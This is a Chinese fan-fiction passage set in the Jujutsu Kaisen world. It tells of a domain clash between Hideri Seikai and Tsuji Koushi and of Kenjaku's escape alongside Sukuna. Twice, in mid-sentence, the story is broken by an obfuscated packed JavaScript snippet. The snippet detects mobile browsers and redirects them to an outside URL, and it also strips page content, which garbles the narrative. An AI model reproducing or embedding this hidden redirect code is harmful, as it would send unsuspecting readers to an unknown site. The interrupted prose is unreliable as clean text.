成群的光球如同飞旋的流星冲向天际,尾部的光焰回转着撕开夜幕时产生的弧形轨道映在日照的眼睛里,让那一片漆黑带上了点别的颜色。 被爆炸的轰响惊动的咒灵刚刚探出头,就被赤红的火焰灼烧殆尽。日照穿梭在楼宇之间,如果他刚才没有看错的话,点燃那只咒灵的火焰并非直接来自辻光士的攻击,更像是被从光球中逸散出来的咒力触碰到,导致【炽盛光】的术式对象扩张到自身引起的自燃。 辻光士跟在日照的后方。 不必在意术式会摧毁多少公共设施,不用在意是否会波及普通人。原来畅快地使用术式的感觉这么爽。 日照踹开道旁的消防栓,幸好供给到这个出口的水源还没有被切断,脱离了钢管的控制,源源不断的水流向周围喷溅了出去。 他用指尖扫过水流,那些带起丝丝凉意的水滴转变为了极小却致命的威胁。 水滴击穿了炽热咒力组成的光球,辻光士没能注意到那些小水珠的危险性,直到肩膀被洞穿的时候才急忙避开随后而来的暴雨一样的水幕。 爆炸和建筑物倒塌的声音暂时告一段落,日照和辻光士站在马路的中央。 消防栓还在滋水,但离开了日照的术式,它唯一的作用就是为这场突然陷入死寂和僵持的战斗带来一些“活着的声音”。 “我觉得也差不多了,”日照直视辻光士的眼睛,这次他的同期没有将脸扭开,“反正我们彼此都不愿意相互靠近,不如就用这个来决出胜负。” 他双手交握,食指与小指竖起,将惯用的单手手印合二为一。 辻光士面色严肃,日照准备直接将战斗拉入更高的层次。那是他生前......不,是上辈子只敢仰望却从未曾触及到过的境界。现在驱动那具身体的究竟是弥山还是星海,辻光士已经完全分不清楚了。 从那张嘴巴里说出的话倒是没错,死亡的确能够改变很多东西。辻光士现在能够理解为什么羂索能够蛊惑那么多术师和他定下契约,不惜放弃过去自己曾经拥有的一切,只带着沉重的灵魂和自己的咒术只身来到未来。 他过去的死亡让他领悟了很多东西。连带着这被无数人称赞过的咒术天赋、他没来得及将它们启用的那些技法在“成为”那个特级咒灵之后都被悉数打开,让他能够通过全新的视角审视这个咒术的世界。 不是充斥着咒术师、咒灵、普通人和诅咒师的广义世界,而是曾名为“禁厌”的、诅咒之术的世界。 日照看见辻光士身前的手印,兴奋地说:“就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16319380|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样才对!” 那轮太阳—— 那曾经烧灼他们骨血的光和热—— 两道声音异口同声,将属于各自内心的心象空间具现化到了现实世界中。 “领域展开。” —— 除领域展开之外,术师还拥有通过扩展思维来增加术式使用方法的扩张术式,而能够将术式之长利用到极致的高咒力输出技法就是“极之番”。 羂索的身上缠着凰轮·迦楼罗,【星之怒】附加在式神身上的质量让羂索无法移动分毫,只能眼看着突然出现在底层的夏油杰瞄准了他的大脑。 【咒灵操术】的极之番“漩涡”有两种用法,其一是对准1级以上的咒灵使用时引发出的“术式抽取”。优点是使用后相当于术师本人得到了术式的一次使用权,和【仳】术式反转的用法异曲同工,可以最大限度按照术师本人的意愿将被抽取的术式价值发挥到极致。 其二则是牺牲一部分已吸取的咒灵将它们融为一体,形成高密度的咒力集合体攻击敌人。 羂索此时正处于术式熔断期,九十九由基拼着浑身的伤替夏油杰制造出了一个破绽。 浓缩的咒力在他的指尖凝聚,狂躁的能量急速归于令人恐惧的平静,下一秒就全部爆发了出来。 因为时间紧迫,仓促间完成这场偷袭的夏油杰选择压缩“漩涡”的的体积,尽可能让这一击变得足够隐秘。 发射“漩涡”时的后坐力扯断了缠绕在夏油杰身上的枝条,他的视野震颤了一瞬,在目光聚焦到那道向侧面弯下去的腰和被掀飞的头盖骨时,他还是忍不住骂了一句“该死”。 羂索在“漩涡”发射前的千钧一发之刻将自己的身体侧弯了几乎九十度,虽然没有挣脱凰轮·迦楼罗的压制,可他还是尽可能地减小了“漩涡”对他的影响。 但“漩涡”被称作极之番便足以证明其威力,仅靠这种取巧的躲藏没办法规避掉所有的伤害。羂索将计就计,通过侧弯身体让“漩涡”冲击力的方向和自己额头上的那道伤疤平行,缝合线会被扯断是必然的,他利用颈部自旋的要领扭动头部,让来自“漩涡”的冲击被抵消了一部分。 那旋转着被抽飞的头盖骨显得有些搞笑。 哈!?这都行!?夏油杰看到羂索拿回了头骨,不知道用什么手法将它重新缝合回了脑袋上,盖住了从“口”中流出鲜血的大脑。 羂索得意道:“不必在意!!” 他其实并不在乎用出来的招式——如果那也能被称为招式的话——是不是看起来很狼狈。古代术师们总有一些因人而异的自尊和自负,有些强者在战斗中不会使用相同的招式,有些人从不与非术师战斗,有些人抱着血脉中家传的古老咒术不松手。而羂索没有这样的执着。 他比大部分由他亲自带到未来的术师们出生得更早,活的比咒术界最长寿的老人更久,却没有变成一个固步自封的老古董。他永远乐意穿每个时代最符合潮流的衣服,看最流行的电视节目,社交网络玩得也很好。在咒术上也是同样,他深刻地明白随着时代的发展,咒术也会和当下最新的科技产生联系,所以他从不排斥在战斗中加入现代武器,比如枪械之类的热武器。 至于战斗,只要能达成自己的目的,手段不光彩又怎样?招式滑稽?那就任凭他人捧腹大笑好了,他见到这样的景象只会觉得惊喜又有趣。 羂索的视线扫过夏油杰身后逐渐退入地面的那些枝条。 原来如此,是花御啊。也只有花御能够做到将气息完全隐藏,毕竟它是类似“精灵”一样的存在嘛。 “你是怎么绕过里梅的?”羂索抬手挡下九十九由基的进攻,面向夏油杰问道。 在夏油杰收服的所有咒灵中,有一只特级假想怨灵名为化身玉藻前。它与其他特级咒灵不同,本体几乎没有任何攻击能力,但却拥有“化身”的能力。作为千面妖狐的诅咒,化身玉藻前可以完美地复制成为任何人。从面容到咒力,甚至术式的存在都可以如同照镜子一般在它身上重现出来,现在有一个和羂索面前的这个夏油杰同样的“夏油杰”正在牵制里梅。 可惜,像是【咒灵操术】或者【十种影法术】这种式神使类型的术式可召唤的咒灵和式神无法复制,也就是说两个夏油杰现在共用同一个咒灵库。 夏油杰不会和羂索废话,这么好奇那就尽管猜去吧!! 因为九十九由基就在羂索身后,夏油杰的“漩涡”也会将她卷进去,所以第二发“漩涡”迟迟没有找到合适的机会发出。 得找个机会让九十九由基恢复状态,她现在负伤情况太严重了,不然【星之怒】的威力不可能只有这种程度。 夏油杰叫来了一只很特殊的咒灵。 在江户时代中期,民间曾流行过因为鲶鱼导致地震的神话传说。彼时人们相信每当居住在地下的大鲶身有异动就会引发地震,由此诞生了这个咒灵。 “九十九!!”夏油杰提醒她赶快疗伤。 大鲶的嘴巴在羂索脚下的地面上张开了。夏油杰和九十九由基同样也都在大鲶的咒术范围内,但因为他们对此早有准备才能免于被咒灵影响。 但羂索被打了一个措手不及。骤然的失重感让他的大脑感觉自身正在下坠,由此带来的认知错位使他腿部的肌肉松懈了一瞬,凰轮·迦楼罗的重量令他直直地跪了下去。 大鲶可以让中招的人感觉到仿佛坠入万丈深渊一般的失重感,但实际上这只是施加给大脑的错觉,却能出其不意地令人暂时失去行动能力。 “!?” 九十九由基在使用反转术式治疗自身伤势的时候曾有一瞬间减弱了对缠绕在羂索身上的式神的控制,但夏油杰利用大鲶补上了这个失误,将羂索挣脱凰轮·迦楼罗控制的机会堵死了。 “不愧是【咒灵操术】。”羂索非常认真地夸赞道。 比起那些拥有极高咒力输出效率的咒灵,像大鲶这样虽然等级不高但能力千奇百怪的咒灵也是【咒灵操术】使用者的一大底牌。无上限的收服能力,再加上层出不穷的咒灵组合,就算没有天元与同化的计划,羂索也很想亲身体验一下【咒灵操术】的力量。 这种无限的未知令他万分着迷。 61.三昧耶缚界 羂索能够感受到他和某人定下的“束缚”被斩断了。 是辻光士。 “死了?”羂索腰间的式神重量陡然增加,跪姿状态下又被施以重压,他双膝的骨骼发出不堪重负的声响。 这步棋比他预想得还要无趣一些,可惜现在没办法知道辻光士那边发生了什么事,不过也好,他们是时候撤离这个“陷阱”了。 恢复了七八成力量的九十九由基抬腿踢击,跪在地上后羂索的高度正好,这一击踢中不是折断脖子就是踢中脑袋。因为已知眼前的“人”早已死去,夏油杰和九十九由基都没有留手。 鞋面贴上肉身的时候,九十九由基心下一咯噔。 这个受力的感觉......!? 但是她的腿已经踢了出去,无法临时收回。 “什......!?”夏油杰感觉羂索就像是一个皮球一样被九十九由基一脚抽击,远远地飞了出去。 他没有看花眼,留在凰轮·迦楼罗身下的只剩下了下半身,鲜血染红了式神身上灰白色的骨节。 “他把自己腰斩了!?”九十九由基发出不可置信的惊呼。 因为刚刚恢复伤势,又为了在羂索术式熔断期争分夺秒抓住一切机会发起进攻,九十九由基将羂索的上半身踢得很远很远,她一时不知道该让凰轮·迦楼罗扔掉那瘫软的下半身,还是该继续捆着它以防备羂索还有可能使出来的什么诡异招式。 “我之前就说了,不要在意这些事情!!”羂索本就会使用反转术式,加上日照星海本身的咒力输出效率极高,作用在自身的反转术式可以轻松令断肢再生,所以他干脆利落地自己斩断了被式神压住的下半身,从【星之怒】的压制下成功逃了出来。 不过两秒钟,下肢的模样已经初具雏形。 该死的!!九十九由基暗骂一声,立刻向羂索的方向展开追击。 “等一下九十九!!”夏油杰的喊声从身后追了上来,金发的术师不想放弃这次机会,但同伴的呼喊还是让她停了下来。羂索脱掉上衣系在腰间,吐掉了腰斩时返上来的血水,好整以暇地看着他们。 夏油杰叫住九十九由基是因为他感觉到了留在上层的化身玉藻前受到了几乎要使其溃散的巨量伤害。 并非来自冻星里梅,而是来自早先就去到更上方的诅咒之王。 —— “喂喂,怎么能在我吃完之后变得更甜了啊!!”石流龙站在自认为相对安全的位置关注着仙台体育场附近发生的第二场战斗。 他能感觉得到,双方都是成熟的咒术师,甚至在咒力量的方面日照要远逊于那个玩火的家伙。 那些划过夜空的流星像是导弹一样肆意摧毁着附近的建筑与土地,炽热的咒力气息甚至顺着风飘到了石流龙的附近。 连战两场,怎么看那家伙都要输了啊。 没等石流龙酝酿出失望的情绪,远处的咒力陡然一变,战斗升华到了下一阶段。 一个漆黑的结界迅速闭合,石流龙只是从外部勉强看到了散发着恐怖热量的核心,随后视线便被领域边缘阻断了。他又看向同时生成的另一个生得领域的具现化产物,一般来说这种东西没有实质性的用处,仅仅是“显现了出来”罢了。 那是一个不断变化着的虚影。 石流龙从未见过这样奇怪的具现化产物,像是无数半透明的物品、景象被无限叠加,作为一个“锚”深深插入地面,从它身上延伸出的无数锁链连接着海面之上的航船。有锁链绷紧,似乎“外面”的船正强行脱离它的掌控,也有松松垮垮挂在那里的锁链,像是正在随着海流的方向摇动。 他试图看清“锚”上不断变化的影子,恍惚间仿佛看到了他自己。 而且,这个领域的闭合速度也太慢了点吧?这都已经四五秒了,居然还没有生成漆黑结界外壁的倾向。 还没有从那个“锚”上出现自己的冲击中回过神,石流龙突然惊恐地发现脚下这栋楼前的街道上出现了飞速蔓延的领域边界。 “还在扩大!?” 几乎只是眨眼间,石流龙感觉到自己已经被纳入了领域的范围内。 他迅速展开弥虚葛笼应对,不可置信地望着周围。没错,他还能看到仙台结界边缘的冲天黑幕,从那个虚影出现的地方到他这里至少有一百多米的距离,这个领域究竟......!? 幸好,领域的边缘就在他身后。 这是一个不以结界封闭的、开放式的领域!! 这次石流龙真的冷汗连连。 幸好,幸好边缘就在他身后。幸好他没有选择直接开启领域来对抗这个恐怖的玩意儿。 辻光士还记得那个特级咒灵身上暴虐的热。诞生自他尸体中的特级咒灵带走了他的一部分灵魂,尽管记不真切,可他依旧从特级咒灵身上学到了......也可以说从它身上继承了领域展开的技法。 【日轮净界】是一个并非专注于必中必杀效果的领域,但取而代之的是将术式对象无限扩张的许可。 领域内,由他的生得领域具现化出来的产物就是那轮太阳。无限叠加的“热”,如果不能在一定时间内寻找到脱离之法,这些能量的聚集会引发“热”的极速膨胀,到时候会产生比冲绳那霸恐怖百倍的冲击。 某种程度上来说,这也是必杀效果的一种体现吧。 在【日轮净界】中能够免受影响的只有辻光士本人。他当然能看到日照身后那离奇的“锚”和那些闪烁的虚像,但因为受到自身领域边缘的影响,他还没有意识到日照的领域与普通的领域有什么区别。 “【三昧耶缚界】。”日照维持着双手掌印,将【代理人】赋予给了自己的领域。 开放式领域的存在只在北海道阿依努咒术联盟保存的诸多古书中记载了寥寥数语,日照在研究封印术的时候偶然看到,因为没有更多记述所以一直只将其当成领域存在的某种形态,在之后的数年中才逐渐将其完善,呈现出如今的模样。 不过他本身就不太擅长框定结界的各种条件,开放式的领域反倒遂了他的意。 特意保留的必中效果开始从外部中和【日轮净界】,领域外壁出现了细微的裂痕。 在领域对抗中,胜负通常难以用单一的标准来评判,往往综合了术师的咒力量、术式相性甚至展开领域时的状态,看谁的领域率先破溃。 若论咒力量,日照向来不占优势。不过他们的术式相性相近,但又不完全相同。辻光士催动了赋予给领域的【炽盛光】,领域范围内的万物同时开始升温。 当时的那次爆炸远不及【日轮净界】应有的威力,特级咒灵察觉到了来自日照星海殊死一搏的威胁,没有等到积聚起足够的热量就点了火,最终却还是和绝命的【仳】同归于尽。 “这次可不会是那样了,弥山。”辻光士在闪烁的虚像中看到了自己现在的模样。尽管只是飞快地一闪而过,但那张脸已经深深烙印进了他的视网膜。 那是他?他明明......舍弃了一次“复活”的机会,变回了他自己啊。 正如咒术界公认的那样,领域内由生得术式具现化出来的产物没有任何意义,有的术师领域内就没有这些花里胡哨的东西。如果硬要说的话,虚像上闪过的都是各种可能性。大到这片夜空过去、未来的可能性,小到日照脚边一颗小石子的过去与未来。 辻光士大概是看到了某一时间上的自己吧。 没有任何意义。 领域外壳破碎的声音终于引起了辻光士的警觉。他从未接触过开放式领域,对领域的认知也还停留在“它是个什么东西”的层面,如今感受到有什么正从外向内啃食着他的领域,才意识到领域的对战并非两个术师面对面比出手印,然后让两个领域像是气球一样相互挤压看谁先破那么简单的事。 【三昧耶缚界】此次是以开放式领域的形式展开,对封闭式领域有天然的优势。依据“强化内里”的结构构筑出来的领域,自然从外部攻破更轻松。 发现战斗走向开始往自己控制不了的地方狂奔的辻光士加大了咒力输出,同时亲自向日照所在的方向冲了过去。 日照的领域在从外侧破坏他的领域,辻光士必须在领域外壳彻底破溃之前对日照本人造成无法继续维持领域的伤害才行。 “原本我还在为了如何达到领域内‘必中必杀’而烦恼,”日照解开双手手印,“还得感谢你。” 体表的温度正在上升,骇人的热量步步紧逼。曾经在波之上海滩闻到的、看到的、感觉到的、尝到的,都一步步逐渐涌上了心头。 日照不惧怕过去的伤痛。那时的痛苦与恐惧早已化作身体上的伤痕固定了下来,也许还会随着时间的推进而慢慢消失。为过去哀悼毫无意义,他的目光始终看向前方。 利用领域将自己的术式提升到极限,将术式对象扩张到领域内的万物。日照从【日轮净界】中学到的正是这些,这样的力量的确容易让人沉迷。当环境也成为可供自身掌控的一部分,个体的存在逐步扩大,由此带来的是虚妄的“全能感”。 简直就像神一样。 “流动的风,炽热的光,无处不在的空气,甚至是声音。” 辻光士从日照身后的虚像上看到了被风刃搅碎、被灼烧至死的自己,看见了他因为暴露于真空而浑身肿胀的尸体,亦或者是被无法承受的声音震破鼓膜、大脑乱成一团浆糊的模样。 那是他在【日轮净界】破溃后可能迎来的结局。 留在辻光士眼前的只有两种选择。像在冲绳时特级咒灵做的那样,在能量尚未完全达到顶峰前直接引爆“太阳”,或者击退日照。 因为必中效果相互中和,被【代理人】强化过的无数自然概念还没有完全露出獠牙,但辻光士周围的地面已经受到了波及。 本应对他无效的“热”开始反过来侵入他的防御,直到皮肤接触到滚烫扭曲的空气时,他才确定了身边的空气中不仅有【炽盛光】附加的“热”,还混合了日照强化过的概念。 他的领域就快要被剥穿了。 不能再等下去,就算现在点燃的“太阳”没能将日照彻底推向死亡,辻光士自信他在领域展开结束后留下的咒力绝对比刚刚和万交战、本身咒力量又少得可怜的日照更多。 况且为了修复伤势,他必定会运转反转术式,这一行为还会消耗更多的咒力。 辻光士做出了这样的判断,尽管领域的比拼是他处于下风,但只要最终结果如他所愿就可以!! 受到【炽盛光】的催动,超高温能量的聚集体开始了收缩——膨胀的过程。空气出现令人不安的震动,在高温中扭曲的景象让领域内的一切变得迷幻又不真实。 两分钟。 【三昧耶缚界】完全剥穿【日轮净界】需要两分钟的时间,在辻光士下定决心提前点火的时候,日照已经听到了对方领域外壳破碎的声音。 一秒。 在“太阳”内部毁天灭地的力量爆发前的一秒,【日轮净界】彻底破溃。 奢侈的一秒钟。在力量被领域提升到更高层次的日照眼中,一秒的时间已经足够漫长,他可以清晰地感知到“太阳”的力量突破桎梏、冲破外壁的那一瞬间。在0.01秒内,【代理人】的术式效果已经生效。 濒临爆发的“太阳”变得和辻光士头顶的月亮一样沉默,预想中的赤红爆炎没有出现,甚至黯淡的日光都无法和今晚的月光相媲美。 新月挂在天边,眼前是逐渐熄灭的明光。 “结束了,光士。” 日照的声音遥遥传来,像是两柄利剑从辻光士的耳朵里直接插进了大脑,还被人握着剑柄狠狠旋转、搅动他的脑浆。他不住地从口鼻中喷出鲜血,一个踉跄,最后直接跪在地上大口大口地呕血。 术式进入了熔断期,可是辻光士却连一点咒力都感觉不到了。这与他预想中的不同,他又一次大错特错。 “这是我的术式,是没能履行‘束缚’约定的惩罚。因为是随机的,所以我平常从不这么用。看来你倒霉到了极点啊,光士。”日照缓步靠近辻光士,右眼观察着他,似乎一点也不担心辻光士还藏着什么后手。 站着的是日照,还留有咒力的是日照,在领域对抗中胜出的是日照。 “......为什么?‘束缚’是、哪来的?” 辻光士已经无力支撑自己的身体,在【三昧耶缚界】尚未完全消散时日照的声音直接打穿了他的鼓膜,现在他不仅头痛欲裂,一点咒力都没有,就像那些等待着被拯救的普通人一样。 “这个嘛,”日照笑笑,“【无下限咒术】呢?” 这是一种利用【代理人】强制术式对象承担“毁约”惩罚的方法。借由领域提供的状态提升,日照可以做到强行给予“恩赐”而不支付代价,而按照咒术中得与失的准则,术式对象面临的就是未知的“惩罚”。 【代理人】祈求的恩赐无法涉及生与死,这一点哪怕是在领 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325170|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 域内也同样。但如果利用上述方法赌那“未知”,有超级小的概率能够赌到“大奖”。 剥除咒力也算是还不错的奖励,日照对自己的这次手气已经很满意了。 因为见识过伏黑甚尔那可怕的赌运,对自己的手气没有信心的日照极少用这种方法来使用【代理人】。 大概是缺少点激情,如果是秤金次的话只会对他的这个决定嗤之以鼻。 躺倒在地的辻光士翻了个身,背后的地面还残留着灼人的温度,但他只觉得浑身冰冷。现在是十一月中旬,没有了咒力,只穿着单衣当然会觉得冷。 原来不知不觉间,他已经舍弃了不少身为“普通人”时曾经坚信不疑的常识。 看着似乎唾手可得的明月和星星,辻光士说道:“仙台站地下一层靠近西口的那排储存柜,B2-07。” 日照掀起有些挡住眼睛的头发,扭头看向落在已经灭掉的路灯上的乌鸦。 在第二只乌鸦落下来的时候,日照听见辻光士继续说着:“这个惩罚会持续到什么时候?” 日照挑了个在战斗中被击落的大型混凝土石块,翘着腿坐了上去:“不知道,也许是永远吧。” 原本在多人间缔结的“束缚”不管是结成的条件还是违规的惩罚都非常复杂,日照也不知道“剥除咒力”的惩罚究竟会持续多久。 辻光士愣了一会儿,沉默地看着天。 日照撑着下巴。 “......” 辻光士的脸转了过来,只能看到日照疤痕下的右眼,旋即闭上眼睛说道:“你不是还要去找他?赶快动手吧,还是说你对着曾经的朋友下不去手?” 日照闻言看了他一眼。 “朋友,”辻光士听到击败他的青年哼笑了一声,把这两个字念得意味深长,“朋友啊。” 这下不就都不知道他们到底谁更可怜一点了吗? “......你笑什么?” “我要是这么说他又该生气了,”日照站起身,望着结界外一闪而过的苍蓝色,“如果还有下辈子,那就祝我们生在没有咒术的世界吧。” 手指翻飞,一张扑克牌被夹在了指尖。 辻光士睁开眼睛,看着他。 开在淡色右眼下方的嘴巴一开一合:“那你还不是说出来了!快点啊!悟都过去了!” 那张嘴巴还嘟囔着什么“那家伙动作真快”、“【无下限咒术】真好用”之类的话,但辻光士已经听不见了。视线开始模糊,在【三昧耶缚界】中被摧毁的部分大脑彻底失去了机能,现在使用反转术式他也无法完成自救。更何况他已经失去了咒力。彻底地。 日照本人没有自觉,但被惩罚的人却清楚地明白他已经完完全全地成为了一个普通人。 “......我,”又一次经历死亡,只不过这回辻光士没有那么期待有人能够挽留他的生命,“我有哪里选错了吗?星海。” “闭嘴,弥山。”喋喋不休的嘴巴闭上了,不情不愿地消失在了日照星海的脸上。 日照星海看着已经听不见任何回答的“老朋友”,收回了那张扑克牌。 “获得5分!!”小金的声音回荡在寂静的大道上。 “......” 不知道什么时候飘过来的云遮住了月光,染红了辻光士大半个身子的鲜血失去了月光的加持,变得暗沉无比。 “谁知道呢,你也许只是太倒霉了,”日照在安静看着他良久后才缓缓说道,似是自言自语,“因为选择没办法再做第二次,所以只能坚信自己的每一次选择都是正确的那一个才行。” 只有这样才能留住自我。 只有这样才不会后悔。 “你后悔过吗?”他看着空无一人的周遭,问道。 下一刻,日照星海被拉进了他们的生得领域,无边无垠的镜面世界中,弥山站在唯一的建筑物门外。 这样的场景不禁让他回想起在“重生”后见到这片生得领域时的感觉。 那时弥山正站在他们曾经和父母一同“生活”过的独栋公寓前捧腹大笑,星海听得出来他是真心实意觉得这栋建筑会出现在这里是一件很好笑的事情。 因为“有趣”而好笑,不是因为“滑稽”而可笑。 “你干什么?”他问堵在公寓门口的弥山。 弥山扬起下巴,嘴角微翘:“不干什么。” 星海推开他,径直走进了公寓。弥山跟在他身后,浑身上下都写满了“开心”。 “......你最好别再在我眼前嘚瑟,那个‘束缚’的事我还没跟你算账,你是想现在就挨揍吗?” 他颇有一种兴师问罪的意思,坐在沙发上面色不善地看向弥山。 “现在更要紧的是薨星宫那边才对吧?让我放弃这次的机会就算了,你凭什么还想要质问我?” 弥山走到星海的身前,居高临下地看着他。 他们僵持了一会儿,因为现在不是吵架的时候所以各退了一步,等到周围环境允许的时候再找对方秋后算账。 弥山说:“我跟宿傩吃到的天使术式的伤害都差不多,区别就在于我和虎杖悠仁对他造成的灵魂上的伤害。我想过他的灵魂等级很高所以恢复得要更快,但至少最后来自释魂刀的那一击不可能简单地恢复。” 毕竟宿傩的灵魂被分成了二十份,单单一份都有足以被称作特级的诅咒,不难想象他完整的灵魂究竟是多么蛮不讲理的存在。 “你怎么看?”星海知道弥山肯定已经有了想法,分析过程只是为了确保没有其他因素干扰他们的判断。 “按理说,受肉|体能够主动选择是否占据容器,也就是说宿傩可以选择亲自顶着伏黑惠的皮囊行事,也可以主动退出去,将这具身体还给伏黑惠。” 星海皱眉:“你的意思是......宿傩在释魂刀刺入心脏的时候主动退出,让伏黑惠顶了上来?这么一来岂不是......” 那柄刀伤到的其实是伏黑惠的灵魂。 “宿傩只是看过一次羂索制作咒物就学会并付诸了实践,”日照弥山摸着下巴,挤开星海坐到了他旁边,“能想到这么利用容器的意识也不足为奇了。” “【构筑术式】呢?” 弥山没有看身旁的人。修复狱门疆绰绰有余,但想要再造绳文土偶就需要......绝命的束缚。 “看悟和杰那边的结果吧。” 最终他只是这么说道。 62.约战 夏油杰叫停了准备继续追击的九十九由基,化身玉藻前在被彻底抹消之前成功被他收回,但上层的情况不容乐观。 就在这短短数秒间,羂索已经完全修复了自己的双腿,站了起来。 果不其然,伴随着天花板被人暴力破拆的巨响,让人不寒而栗的咒力气息出现在了夏油杰和九十九由基眼前。 “哦豁,你还真是狼狈啊。”宿傩幸灾乐祸地讽刺。 羂索颇为无奈地叹了口气,慢条斯理地说道:“我当然比不上你们。你打尽兴了吗宿傩?我们该走了哦。” “不然你觉得我们下来干什么?至于那个天与咒缚......勉勉强强吧,”宿傩扯了扯脖子,骨骼发出喀拉喀拉伸展的声音,“作为开胃菜来说。” 宿傩对得到伏黑惠的身体势在必行。不知道究竟是巧合还是羂索特意为之,万受肉的身体正是伏黑惠的姐姐津美纪。有她配合,宿傩在东京第1结界成功趁伏黑惠受到冲击的机会完成了转移。 他本打算直接进行“浴”,在压下伏黑惠的意识后去毁掉伏黑津美纪,以此彻底击溃他的灵魂。 然而那个五条家的小鬼的确出乎他的意料。 眼前这个肉|体几乎达到人类能够触摸到的极限的男人和伏黑惠也有血缘关系,和东京第1结界那场战斗中的那个女人是同样的类型。 没有一点咒力,却能凭借身体素质跟上他的节奏,就现代的术师来说已经很值得夸奖。 伏黑惠的灵魂比宿傩想象中的还要顽强,他本以为在替他承受了释魂刀攻击之后伏黑惠至少能稍微安静一段时间,也许是血脉之间的共鸣让尚未清醒的灵魂下意识地影响着自身的肉|体,无论是斩击还是影法术的威力都不约而同地下降了太多。 这倒是给了宿傩更多的机会体会天与暴君的威慑力。 “呵呵,如果你现在想要继续的话也没关系,”羂索顶着里梅“别老跟着宿傩大人”的眼神,轻轻松松地说道,“虽然我觉得没必要非得现在打起来......” 宿傩受不了他这样的喋喋不休,嫌弃的歪着头。在场的所有人都能感受到正在极速靠近的那个咒力,不过比起现在打起来,宿傩更想先去享受一下里梅为他准备的仪式,再好好和【十种影法术】磨合一下。 他比出召唤式神的手影,下一刻鵺庞大的身形就显现在了地下空间中。这里对它来说显然还是有些逼仄,宿傩直接用斩击击穿了直通地面的所有阻碍。羂索喊着“拉我一把啊”登上了鵺的后背,随后鵺便扑打着翅膀,掀起的气流将周围的碎石灰尘清扫一空。 九十九由基插着腰,仰头望向上空:“刚才不应该犹豫的。” 夏油杰言简意赅:“上来。” 两只咒灵一前一后带着他们冲向月光洒下的方向。 如果早知道五条悟能赶过来,他们也就不必留着领域展开来防备宿傩。 “在涩谷的时候你就这么说过,九十九,”鵺的速度比他们想象的还要快,夏油杰经过中层的时候换到了虹龙身上,带着九十九由基继续向上,“有的时候我觉得你和惠也挺像的。” “这是什么话?”九十九由基不解,从她的角度只能看见夏油杰后脑勺的丸子头和被风压吹得向后的刘海。 “咒术总监部没有你的术式信息,但能被评为特级就代表着你肯定有某种高咒力输出的扩张术式,简直就像是领域展开一样让你觉得‘只要用了就能一击定胜负’的绝招。” 越是年轻的术师越容易出现这样的问题,伏黑惠最为严重。 他因为拥有魔虚罗这个杀手锏,遇到“努努力就能够祓除”的对象时还好,可一旦遇到了“怎么看都不是现在的我能解决的”对象时就会放弃压榨自己的潜力,想着“反正还有魔虚罗”,大不了跟对方同归于尽。 在年轻的时候掌握了这样的力量,对咒术师的成长没有任何好处。因为缺乏了搏命战斗的决心,所以再难突破成长的界限,进入下一个阶段。 有的时候夏油杰也会想,五条悟的力量对于咒术界来说是否也是这样的呢?一个几乎凌驾于任何其他力量之上的存在,既可以是最重要的那块基石,也可以是卡住瓶颈的那块石子。 想要超越桎梏,就只能绕过那看似无所不能的存在,不断压榨属于自己的力量。 “......你还真是敏锐,夏油。” 九十九由基没有内心被看穿的窘迫,她坦然地接受了自己的“弱点”。正如夏油杰所说,她的确有一个足以称得上可以毁天灭地的高咒力输出手段。术式【星之怒】对术师本人和式神附加的假想质量其实是没有上限的,只是平时一直被控制在不会对她本人造成影响的程度。 如果放弃控制这个上限,那么【星之怒】可以产生拥有超高密度和强大重力的黑洞,不仅物质会被吞噬,连光也无法逃逸。这正可谓是最终手段,一旦使用连九十九由基也不确定会不会直接波及整个地球。 尽管如果从达到这个效果需要多少咒力来估算的话,黑洞应该还不至于毁灭世界,可至少这座群岛是保不住了。 如果天元还在东京,九十九由基能够借由祂的结界将黑洞的威力限制在可控范围内,不过不管黑洞究竟能吞掉多少东西都已经和九十九由基无关了,因为她在黑洞生成的那一刻就会第一个被吞噬。 一个是忌惮没有天元结界控制的黑洞会造成她不希望看到的结果,还有一个就是夏油杰说过的“底牌”思维。九十九由基在涩谷曾直面羂索,却没有在那个时候选择启用这个力量终结一切。 当时的羂索可还不能使用【仳】,可以说是千载难逢的好机会。 不过这一点只有他自己知道,而且他的“演技”还不赖。 虹龙带着他们冲出地面,夏油杰看着已经几乎被夷为平地的东京校,为夜蛾正道默哀了一秒钟。他一眼就看到了正把自己从坑里拽出来的伏黑甚尔,尽管看上去浑身是血,但从他的动作来看应该问题不大。 鵺落在了地面上。拦在宿傩等人前方的人正是从北海道一路“飞”过来的五条悟。 “你这也太夸张了一点,五条悟。”真是个怪物,羂索心想。 “彼此彼此,你怎么好意思占着一个十六岁美少年的身体说这种话的啊,老怪物。”五条悟的那双苍天之瞳对上了羂索身上属于日照星海的眼睛,嘴角翘着,可脸上没有一点笑意。 “而且,你见到我就只想说这些没什么营养的话吗?” 五条悟的身影一闪,在羂索的视野内完全消失了。活过千年的术师不由得流下冷汗,哪怕是过去他曾两度和六眼的无下限术师交手,他们带给他的压迫感也不如五条悟。即便是这双伪六眼,也同样就连五条悟的残影都看不到。 